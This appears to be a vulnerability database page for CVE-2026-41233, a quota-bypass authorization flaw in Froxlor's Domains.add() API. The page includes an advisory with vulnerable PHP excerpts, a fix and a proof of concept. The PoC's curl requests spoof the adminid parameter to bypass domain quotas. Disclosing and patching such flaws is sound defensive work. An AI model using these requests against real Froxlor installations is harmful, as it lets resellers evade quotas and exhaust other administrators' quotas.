CVE-2026-41233: Froxlor/froxlor Froxlor Has A Reseller Domain Vulnerability
MODERATECVE-2026-41233 is a MODERATE (CVSS 5.4) froxlor has a reseller domain vulnerability (CWE-863: Incorrect Authorization) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor has a reseller domain quota bypass via unvalidated adminid parameter in domains.add(). Remediation is available by upgrading affected packages to version 2.3.6.
CVE-2026-41233 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L).
How to Fix CVE-2026-41233
To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade froxlor/froxlor to 2.3.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for froxlor/froxlor
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-41233, inspect your project dependencies for Froxlor/froxlor:
inspect dependencies for froxlor/froxlor
Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41233 Affected Froxlor/froxlor Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
froxlor/froxlor
|
Packagist |
< 2.3.6
|
2.3.6
|
References
Frequently Asked Questions
What is CVE-2026-41233?
Which Froxlor/froxlor versions are affected?
What version fixes CVE-2026-41233?
Is froxlor/froxlor affected?
What is the CVSS score of CVE-2026-41233?
What CWE is associated with CVE-2026-41233?
How can I check Packagist dependencies for CVE-2026-41233?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jvx4-xv3m-hrj4",
"modified" : "2026-04-24T20:54:37Z",
"published" : "2026-04-16T00:46:47Z",
"aliases" : [ "CVE-2026-41233" ],
"summary" : "Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()",
"details" : "## Summary\n\nIn `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327:\n\n```php\n$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));\n```\n\nThe validation for this parameter only runs when the caller has `customers_see_all == '1'` (lines 410-421):\n\n```php\nif ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {\n $admin_stmt = Database::prepare(\"\n SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')\");\n $admin = Database::pexecute_first($admin_stmt, [\n 'adminid' => $adminid\n ], true, true);\n if (empty($admin)) {\n Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n }\n unset($admin);\n}\n```\n\nWhen a reseller does **not** have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this->getUserDetail('adminid')`. The unvalidated `$adminid` flows directly into:\n\n1. The domain INSERT at line 757: `'adminid' => $adminid`\n2. The quota increment at lines 862-868:\n```php\n$upd_stmt = Database::prepare(\"\n UPDATE `\" . TABLE_PANEL_ADMINS . \"` SET `domains_used` = `domains_used` + 1\n WHERE `adminid` = :adminid\n\");\nDatabase::pexecute($upd_stmt, ['adminid' => $adminid], true, true);\n```\n\nCompare with `Domains.update()` at lines 1386-1387 which correctly handles this case:\n\n```php\n} else {\n $adminid = $result['adminid'];\n}\n```\n\nThe initial quota check at line 321 checks the *caller's* own quota (`$this->getUserDetail('domains_used')`), but since the caller's `domains_used` is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.\n\nNote: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller's own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed.\n\n## PoC\n\n```bash\n# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-1.com\", \"customerid\": 3, \"adminid\": 1}}'\n\n# Where:\n# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all\n# - customerid=3 = one of the reseller's own customers\n# - adminid=1 = the super-admin's ID (or any other admin's ID)\n\n# Step 2: Verify the domain was created with adminid=1\n# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';\n# Expected: adminid=1\n\n# Step 3: Check the reseller's quota was NOT incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;\n# Expected: domains_used unchanged\n\n# Step 4: Check the target admin's quota WAS incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;\n# Expected: domains_used incremented by 1\n\n# Step 5: Repeat with different domain names to demonstrate unlimited creation\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-2.com\", \"customerid\": 3, \"adminid\": 1}}'\n\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-3.com\", \"customerid\": 3, \"adminid\": 1}}'\n\n# The reseller's domains_used remains unchanged, allowing indefinite creation\n```\n\n## Impact\n\n1. **Quota bypass**: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented.\n2. **Quota exhaustion DoS**: The target admin's `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.\n3. **Data integrity violation**: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server.\n4. **Accounting inaccuracy**: Resource usage reporting and billing tied to admin quotas becomes incorrect.\n\n## Recommended Fix\n\nAdd an `else` branch to force `$adminid` to the caller's own admin ID when `customers_see_all != '1'`, consistent with the pattern used in `Domains.update()`:\n\n```php\n// In lib/Froxlor/Api/Commands/Domains.php, after line 421:\n\nif ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {\n $admin_stmt = Database::prepare(\"\n SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')\");\n $admin = Database::pexecute_first($admin_stmt, [\n 'adminid' => $adminid\n ], true, true);\n if (empty($admin)) {\n Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n }\n unset($admin);\n} else {\n // Force adminid to the caller's own ID when they don't have customers_see_all\n $adminid = intval($this->getUserDetail('adminid'));\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "froxlor/froxlor"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.3.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.3.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41233"
}, {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/froxlor/froxlor"
}, {
"type" : "WEB",
"url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T00:46:47Z",
"nvd_published_at" : "2026-04-23T05:16:05Z"
}
}